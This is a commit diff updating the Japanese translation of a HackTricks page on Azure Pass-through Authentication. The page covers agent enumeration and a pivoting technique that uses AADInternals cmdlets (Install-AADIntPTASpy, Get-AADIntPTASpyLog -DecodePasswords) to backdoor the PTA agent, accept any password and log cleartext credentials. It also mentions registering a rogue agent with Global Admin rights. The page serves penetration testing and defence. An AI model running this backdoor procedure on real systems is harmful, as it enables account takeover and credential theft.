mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -1,41 +1,75 @@
|
||||
# Az - PTA - パススルー認証
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証を使用すると、ユーザーは**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます**。この機能は、ユーザーにとってより良い体験を提供します - 覚えておくべきパスワードが1つ減り、ユーザーがサインイン方法を忘れる可能性が低くなるため、ITヘルプデスクのコストが削減されます。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。
|
||||
|
||||
PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのように**同期**されません。
|
||||
PTA では **アイデンティティ** は **同期されます** が、**パスワードは同期されません**(PHS のように)。
|
||||
|
||||
認証はオンプレミスのADで検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われます(オンプレミスのDC上である必要はありません)。
|
||||
認証はオンプレミスの AD で検証され、クラウドとの通信は **オンプレミスサーバー** で実行される **認証エージェント** によって行われます(オンプレミスの DC にある必要はありません)。
|
||||
|
||||
### 認証フロー
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. **ログイン**するために、ユーザーは**Azure AD**にリダイレクトされ、**ユーザー名**と**パスワード**を送信します。
|
||||
2. **資格情報**は**暗号化**され、Azure ADの**キュー**に設定されます。
|
||||
3. **オンプレミス認証エージェント**がキューから**資格情報**を収集し、**復号化**します。このエージェントは**「パススルー認証エージェント」**または**PTAエージェント**と呼ばれます。
|
||||
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。
|
||||
1. **ログイン**するために、ユーザーは **Azure AD** にリダイレクトされ、**ユーザー名** と **パスワード** を送信します。
|
||||
2. **資格情報** は **暗号化** され、Azure AD の **キュー** に設定されます。
|
||||
3. **オンプレミス認証エージェント** がキューから **資格情報** を収集し、**復号化** します。このエージェントは **「パススルー認証エージェント」** または **PTA エージェント** と呼ばれます。
|
||||
4. **エージェント** は **オンプレミス AD** に対して資格情報を **検証** し、**応答** を **Azure AD** に **返します**。応答が肯定的であれば、ユーザーの **ログインを完了** します。
|
||||
|
||||
> [!WARNING]
|
||||
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**(**平文**)を見ることができます。\
|
||||
> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。
|
||||
> 攻撃者が **PTA** を **侵害** すると、キュー内のすべての **資格情報** を(**平文**で)**見る** ことができます。\
|
||||
> また、AzureAD に対して **任意の資格情報を検証** することもできます(Skeleton key に似た攻撃)。
|
||||
|
||||
### オンプレミス -> クラウド
|
||||
### 列挙
|
||||
|
||||
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証**する**バックドア**を**挿入**できます(すべてのパスワードが認証に対して有効になります):
|
||||
From Entra ID:
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
{
|
||||
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
|
||||
"value": [
|
||||
{
|
||||
"agents": [
|
||||
{
|
||||
"externalIp": "20.121.45.57",
|
||||
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
|
||||
"machineName": "ConnectSync.hacktricks-con.azure",
|
||||
"status": "active",
|
||||
"supportedPublishingTypes": [
|
||||
"authentication"
|
||||
]
|
||||
}
|
||||
],
|
||||
"displayName": "Default group for Pass-through Authentication",
|
||||
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
|
||||
"isDefault": true,
|
||||
"publishingType": "authentication"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
オンプレミスサーバーでエージェントが実行されているか確認します:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## ピボッティング
|
||||
|
||||
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます(すべてのパスワードが認証に対して有効になります):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
|
||||
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
|
||||
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。
|
||||
> インストールが**失敗した**場合、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。
|
||||
|
||||
また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です:
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
このバックドアは以下を行います:
|
||||
|
||||
- 隠しフォルダー `C:\PTASpy` を作成します
|
||||
@@ -45,14 +79,12 @@ Get-AADIntPTASpyLog -DecodePasswords
|
||||
> [!NOTE]
|
||||
> AzureADConnectAuthenticationAgent サービスが再起動されると、PTASpy は「アンロード」され、再インストールする必要があります。
|
||||
|
||||
### クラウド -> オンプレミス
|
||||
|
||||
> [!CAUTION]
|
||||
> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
|
||||
> クラウドで**GA権限**を取得した後、新しいPTAエージェントを**登録**することが可能で、**以前の**手順を**繰り返して**任意のパスワードを使用して**認証**し、さらに**パスワードを平文で取得**することができます。
|
||||
|
||||
### シームレス SSO
|
||||
### シームレスSSO
|
||||
|
||||
PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください:
|
||||
PTAを使用してシームレスSSOを利用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
|
||||
Reference in New Issue
Block a user